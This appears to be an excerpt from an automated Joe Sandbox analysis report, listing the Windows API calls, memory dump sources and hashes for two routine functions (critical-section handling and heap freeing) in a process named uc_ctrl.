                                                                                              • Instruction ID: dce988623ee0e0d83202ecea708921b6a61b455d88877a14f9d508ce08298dd9
                                                                                              • Opcode Fuzzy Hash: d939b507626a271bc97bd672296d2a1ca89f68a812002b171c7b57a9d7c1c7ed
                                                                                              • Instruction Fuzzy Hash: 51F0F6B2D00215AFCA405B6AEC48B4A7E7CEB4B336F542013F501D2412CBBCC841C6B7
                                                                                              Function 6CF8EB0F Relevance: 5.0, APIs: 4, Instructions: 36COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • EnterCriticalSection.KERNEL32(6D1C72D0,00000001,?,?,?,6CF8EAB1,?,00000004,6CF8F0C9,6CF8C806,6CF8F0F2,6CF8F81F,6CF89FCD,00000001,00000000), ref: 6CF8EB1B
                                                                                              • TlsGetValue.KERNEL32(6D1C72B4,?,?,?,6CF8EAB1,?,00000004,6CF8F0C9,6CF8C806,6CF8F0F2,6CF8F81F,6CF89FCD,00000001,00000000,?,6D0C1AA6), ref: 6CF8EB2F
                                                                                              • LeaveCriticalSection.KERNEL32(6D1C72D0,?,?,?,6CF8EAB1,?,00000004,6CF8F0C9,6CF8C806,6CF8F0F2,6CF8F81F,6CF89FCD,00000001,00000000,?,6D0C1AA6), ref: 6CF8EB49
                                                                                              • LeaveCriticalSection.KERNEL32(6D1C72D0,?,?,?,6CF8EAB1,?,00000004,6CF8F0C9,6CF8C806,6CF8F0F2,6CF8F81F,6CF89FCD,00000001,00000000,?,6D0C1AA6), ref: 6CF8EB54
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: CriticalSection$Leave$EnterValue
                                                                                              • String ID:
                                                                                              • API String ID: 3969253408-0
                                                                                              • Opcode ID: fc053ee98e5cfd9f8ff8ae3b102bc21a0c25b86e57ad2bc3badef7f8e1e50df0
                                                                                              • Instruction ID: 532ca75ef847dda57ded78cf3c1d87f807533b674664e8ae3d7d9b9f60129138
                                                                                              • Opcode Fuzzy Hash: fc053ee98e5cfd9f8ff8ae3b102bc21a0c25b86e57ad2bc3badef7f8e1e50df0
                                                                                              • Instruction Fuzzy Hash: 58F02B3A606110AF8F00DF18DC84F1BB778FF4AB203018058EC16EB656C730E802CAE1
                                                                                              Function 6CEF3B83 Relevance: 5.0, APIs: 4, Instructions: 13COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6CEF3A31), ref: 6CEF3B89
                                                                                              • free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6CEF3A31), ref: 6CEF3B92
                                                                                              • free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6CEF3A31), ref: 6CEF3B9B
                                                                                              • free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6CEF3A31), ref: 6CEF3BA4
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: free
                                                                                              • String ID:
                                                                                              • API String ID: 1294909896-0
                                                                                              • Opcode ID: 67d1637f6e0bea7d9cc1d971c9cb6e66186e4e0b7f154997a455a4831e3ecbda
                                                                                              • Instruction ID: a9f13cef1c689482098030229b2e22b5c46a18937971ecf1f5750cd3e3c5b7fd
                                                                                              • Opcode Fuzzy Hash: 67d1637f6e0bea7d9cc1d971c9cb6e66186e4e0b7f154997a455a4831e3ecbda
                                                                                              • Instruction Fuzzy Hash: 9BD06731930510EBCB713F54DC095497B72EF472093024955E29E41471C76158659BC0